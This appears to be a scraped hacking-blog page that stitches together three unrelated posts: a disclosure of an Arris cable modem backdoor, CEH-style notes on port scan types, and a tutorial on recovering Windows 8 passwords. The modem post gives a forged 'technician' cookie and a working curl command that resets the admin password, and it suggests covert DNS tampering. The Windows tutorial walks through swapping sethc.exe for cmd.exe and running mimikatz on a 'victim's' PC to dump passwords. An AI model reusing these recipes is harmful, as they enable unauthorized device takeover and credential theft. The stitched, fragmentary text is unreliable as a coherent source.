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Vendor backdoors are the worst. Sloppy coding leading to unintentional "bugdoors" is somewhat defendable, but flat out backdoors are always unacceptable. Todays example is brought to you by Arris. A great quote from their site -

Subscribers want their internet to be two things, fast and worry free. Cable operators deploy services to meet the speed expectations, and trust ARRIS to provide the cable modems that deliver the reliability.

Nothing spells "trust" and "worry free" like a backdoor account, right?! Anyways, the following was observed on an Arris TG862G cable modem running the following firmware version -TS070563_092012_MODEL_862_GW

After successfully providing the correct login and password to the modems administration page, the following cookie is set (client side):

Cookie: credential=eyJ2YWxpZCI6dHJ1ZSwidGVjaG5pY2lhbiI6ZmFsc2UsImNyZWRlbnRpYWwiOiJZV1J0YVc0NmNHRnpjM2R2Y21RPSIsInByaW1hcnlPbmx5IjpmYWxzZSwiYWNjZXNzIjp7IkFMTCI6dHJ1ZX0sIm5hbWUiOiJhZG1pbiJ9

All requests must have a valid "credential" cookie set (this was not the case in a previous FW release - whoops) if the cookie is not present the modem will reply with "PLEASE LOGIN". The cookie value is just a base64 encoded json object:

{"valid":true,"technician":false,"credential":"YWRtaW46cGFzc3dvcmQ=","primaryOnly":false,"access":{"ALL":true},"name":"admin"}

And after base64 decoding the "credential" value we get:

{"valid":true,"technician":false,"credential":"admin:password","primaryOnly":false,"access":{"ALL":true},"name":"admin"}

Sweet, the device is sending your credentials on every authenticated request (without HTTPS), essentially they have created basic-auth 2.0 - As the kids say "YOLO". The part that stuck out to me is the "technician" value that is set to "false" - swapping it to "true" didn't do anything exciting, but after messing around a bit I found that the following worked wonderfully:

Cookie: credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9

Which decodes to the following:

{"credential":"dGVjaG5pY2lhbjo="}

And finally:

{"credential":"technician:"}

Awesome, the username is "technician" and the password is empty. Trying to log into the interface using these credentials does not work :(

That is fairly odd. I can't think of a reasonable reason for a hidden account that is unable to log into the UI. So what exactly can you do with this account? Well, the web application is basically a html/js wrapper to some CGI that gets/sets SNMP values on the modem. It is worth noting that on previous FW revisions the CGI calls did NOT require any authentication and could be called without providing a valid "credential" cookie. That bug was killed a few years ago at HOPE 9.

Now we can resurrect the ability to set/get SNMP values by setting our "technician" account:

That's neat, but we would much rather be using the a fancy "web 2.0" UI that a normal user is accustomed to, instead of manually setting SNMP values like some sort of neckbearded unix admin. Taking a look at the password change functionality appeared to be a dead end as it requires the previous password to set a new one:

Surprisingly the application does check the value of the old password too! Back to digging around the following was observed in the "mib.js" file:

SysCfg.AdminPassword= new Scalar("AdminPassword","1.3.6.1.4.1.4115.1.20.1.1.5.1",4);

Appears that the OID "1.3.6.1.4.1.4115.1.20.1.1.5.1" holds the value of the "Admin" password! Using the "technician" account to get/walk this OID comes up with nothing:

HTTP/1.1 200 OK
Date: Tue, 23 Sep 2014 19:58:40 GMT
Server: lighttpd/1.4.26-devel-5842M
Content-Length: 55
{
"1.3.6.1.4.1.4115.1.20.1.1.5.1.0":"",
"1":"Finish"
}

What about setting a new value? Surely that will not work....

That response looks hopeful. We can now log in with the password "krad_password" for the "admin" user:

This functionality can be wrapped up in the following curl command:

curl -isk -X 'GET' -b 'credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9' 'http://192.168.100.1:8080/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.5.1.0=krad_password;4;'

Of course if you change the password you wouldn't be very sneaky, a better approach would be re-configuring the modems DNS settings perhaps? It's also worth noting that the SNMP set/get is CSRF'able if you were to catch a user who had recently logged into their modem.

The real pain here is that Arris keeps their FW locked up tightly and only allows Cable operators to download revisions/fixes/updates, so you are at the mercy of your Cable operator, even if Arris decides that its worth the time and effort to patch this ~~bug~~ backdoor - you as the end user CANNOT update your device because the interface doesn't provide that functionality to you! Next level engineering.

Types Of Scan

As a CEH you should know the scan types and uses:

SYN

SYN scan doesn't complete the TCP three way handshake that is why it is known as a half-open scan. An attacker send a SYN packet to the victim machine if SYN/ACK packet is received back to attacker, then it clarify that the port is listening due to the acknowledgment by the victim that it has completed the connection. While if the attacker is received the RST/ACK packet then it assumed that the port is closed or open.

XMAS

XMAS scan works only on target system that has the RFC 793 development of TCP/IP and it doesn't works against any version of windows.
XMAS scan send a packet with by setting up the FIN, URG and PSH flags of the TCP header. The function of this scan is if the port is active there will be no response but if the port is closed the target responds with a RST/ACK packet.

FIN

A FIN scan send a packet by setting up only the FIN flag of the TCP. This scan is similar to XMAS scan. FIN scan receives no response if the port is active while if the port is closed it receives the RST/ACK packet.

NULL

NULL scan is also similar to the XMAS scan. But the only difference is that it sends a packet without setting up the any flag of TCP header. NULL scan receives no response if the port is open but if the port is closed it receives the RST/ACK packet.

IDLE

It is just like spoofing an IP address by sending a SYN packet to the victim's machine to find out which services are available over the system. This scan is completed with the help of another system called as "Zombie" (that is not receiving or transmitting any information).

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Hackerhubb.blogspot.comMore info

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You Might have read my previous posts about how to remove windows passwords using chntpw and might be thinking why am I writing another tutorial to do the same thing! Well today we are not going to remove the windows user password rather we are going to be more stealth in that we are not going to remove it rather we are going to know what is the users password and access his/her account with his/her own password. Sounds nice...

Requirements:

A live bootable linux OS (I'm using Kali Linux)(Download Kali Linux)
Mimikatz (Download | Blog)
Physical Access to victim's machine
A Working Brain in that Big Head (Download Here)

Steps:

1. First of all download mimikatz and put it in a pendrive.

2. Boat the victim's PC with your live bootable Pendrive (Kali Linux on pendrive in my case). And open a terminal window

3. Mount the Volume/Drive on which windows 8/8.1 is installed by typing these commands
in the terminal window:

mkdir /media/win
ntfs-3g /dev/sda1 /media/win

[NOTE] ntfs-3g is used to mount an NTFS drive in Read/Write mode otherwise you might not be able to write on the drive. Also /dev/sda1 is the name of the drive on which Windows OS is installed, to list your drives you can use lsblk -l or fdisk -l. The third flag is the location where the drive will be mounted.

4. Now navigate to the System32 folder using the following command

cd /media/win/Windows/System32

5. After navigating to the System32 rename the sethc.exe file to sethc.exe.bak by typing the following command:

mv sethc.exe sethc.exe.bak

sethc.exe is a windows program which runs automatically after shift-key is pressed more than 5 times continuously.

6. Now copy the cmd.exe program to sethc.exe replacing the original sethc.exe program using this command:

cp cmd.exe sethc.exe

[Note] We made a backup of sethc.exe program so that we can restore the original sethc.exe functionality

7. With this, we are done with the hard part of the hack now lets reboot the system and boot our Victim's Windows 8/8.1 OS.

8. After reaching the Windows Login Screen plugin the usb device with mimikatz on it and hit shift-key continuously five or more times. It will bring up a command prompt like this

9. Now navigate to your usb drive in my case its drive G:

10. Now navigate to the proper version of mimikatz binary folder (Win32 for32bit windows and x64 for 64 bit windows)

11. Run mimikatz and type the following commands one after the other in sequence:

privilege::debug
token::elevate
vault::list

the first command enables debug mode
the second one elevates the privilages
the last one lists the passwords which include picture password and pin (if set by the user)

That's it you got the password and everything else needed to log into the system. No more breaking and mess making its simple its easy and best of all its not Noisy lol...

Hope you enjoyed the tutorial have fun :)

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Friday, May 26, 2023

Arris Cable Modem Backdoor - I'm A Technician, Trust Me.

Related posts

CEH: Gathering Network And Host Information, Types Of Scan

Types Of Scan

SYN

XMAS

FIN

NULL

IDLE

More articles

Thursday, May 25, 2023

Hackerhubb.blogspot.com

Cracking Windows 8/8.1 Passwords With Mimikatz

Requirements:

Steps:

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